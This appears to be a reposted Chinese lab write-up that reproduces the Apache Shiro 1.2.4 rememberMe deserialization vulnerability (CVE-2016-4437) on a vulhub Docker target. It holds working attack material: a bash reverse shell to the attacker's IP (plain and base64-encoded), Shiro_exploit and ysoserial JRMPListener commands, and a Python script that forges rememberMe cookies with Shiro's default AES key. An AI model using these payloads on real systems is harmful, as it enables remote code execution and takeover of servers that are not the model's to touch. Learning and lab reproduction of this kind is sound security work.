復現Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)


靶機IP(Ubuntu):192.168.43.185

攻擊IP(kali):192.168.43.37

 

一、docker環境搭建

打開vulhub靶機,目錄定位到vulhub-master/shiro/CVE-2016-4437目錄下

並使用docker-compose builddocker-compose up -d建立並啟動docker

 

image.png

 

查看靶機內網地址:192.168.43.185

image.png

 

 

瀏覽器訪問http://192.168.43.185:8080

image.png

 

二、使用Shiro_exploit進行漏洞利用

 

1.使用Shiro_exploit檢測是否存在shiro漏洞

項目地址:https://github.com/insightglacier/Shiro_exploit

 

使用命令

python shiro_exploit.py -u http://192.168.43.185:8080

 

 

image.png

 

vulnerable:True表示存在shiro漏洞

 

 

 

2.使用Shiro_exploit進行反彈shell利用

kali監聽2222端口

nc -lvp 2222

image.png

 

 

3.對反彈shell命令進行加密利用

 

命令加密可用網站http://www.jackson-t.ca/runtime-exec-payloads.html

image.png

 

bash -i >& /dev/tcp/192.168.43.37/2222 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i} //加密后

 

結合poc的-p參數進行漏洞利用

python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash加密命令"
python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"

 

image.png

 

2222端口監聽到反彈過來的shell

image.png

 

 

三、利用ysoserial復現漏洞

1.ysoserial工具

ysoserial 集合了各種java反序列化payload的反序列化工具

下載:https://github.com/frohoff/ysoserial

 

因為ysoserial是一個Java項目,它需要本地配置mvn環境(全稱Maven,是基於項目對象模型的軟件項目管理工具)依據Java項目的pom.xml文件自動化配置獲取jar包,所以本地需要Java與mvn環境

image.png

image.png

 

 

使用mvn clean package -DskipTests命令打包項目

image.png

image.png

image.png

 

 

生成完工具之后放到kali攻擊機上使用

 

驗證目標是否搭建shiro,在前端登錄界面抓登錄包,用burp查看響應包是否存在rememberMe=deleteMe字段

image.png

 

image.png

 

 

2.使用ysoserial進行反彈shell利用

kali監聽2222端口

image.png

同時另開終端執行反彈shell的Java監聽命令(ysoserial.exploit.JRMPListener監聽6666端口):

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}'

image.png

 

 

(注:bash加密命令前的CommonsCollections后面數字要寫5,網上的payload都寫CommonsCollections4,可能是Java環境問題,CommonsCollections4一直反彈不到shell,只在Java端口監聽到會話,聯想到前面使用Shiro_exploit的時候,會使用CommonsCollections1,2,3,4,5等各種方式進行測試,所以嘗試更改了CommonsCollections就有效果了)

image.png

 

 

 

將以下生成cookie的poc代碼命名為shiro.py放到target目錄下

import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command):  popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)  BS = AES.block_size  pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  iv = uuid.uuid4().bytes  encryptor = AES.new(key, AES.MODE_CBC, iv)  file_body = pad(popen.stdout.read())  base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))  return base64_ciphertext  if __name__ == '__main__':  payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())

以python2執行命令:

python shiro.py 攻擊者IP:攻擊者監聽的java端口

image.png

 

 

 

在前端頁面抓一個勾選remember me的數據包

image.png

將生成的cookie復制到數據包中

image.png

重放之后在Java監聽端可看到會話

 

image.png

同時在2222端口可監聽到反彈回來的shell

image.png

 

 

四、使用一鍵利用工具復現

 

一鍵利用工具

項目地址:

https://github.com/feihong-cs/ShiroExploit/releases/tag/v2.3

 

image.png

選擇好對應的 shiro550,填入靶場地址,下一步

image.png

 

 

選擇dnslog.cn進行檢測(ceye.io會慢)

 

image.png

在下方對話框出現Find Valid Gadget的時候,就可以執行反彈shell了

image.png

image.png

 

 

 

image.png

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM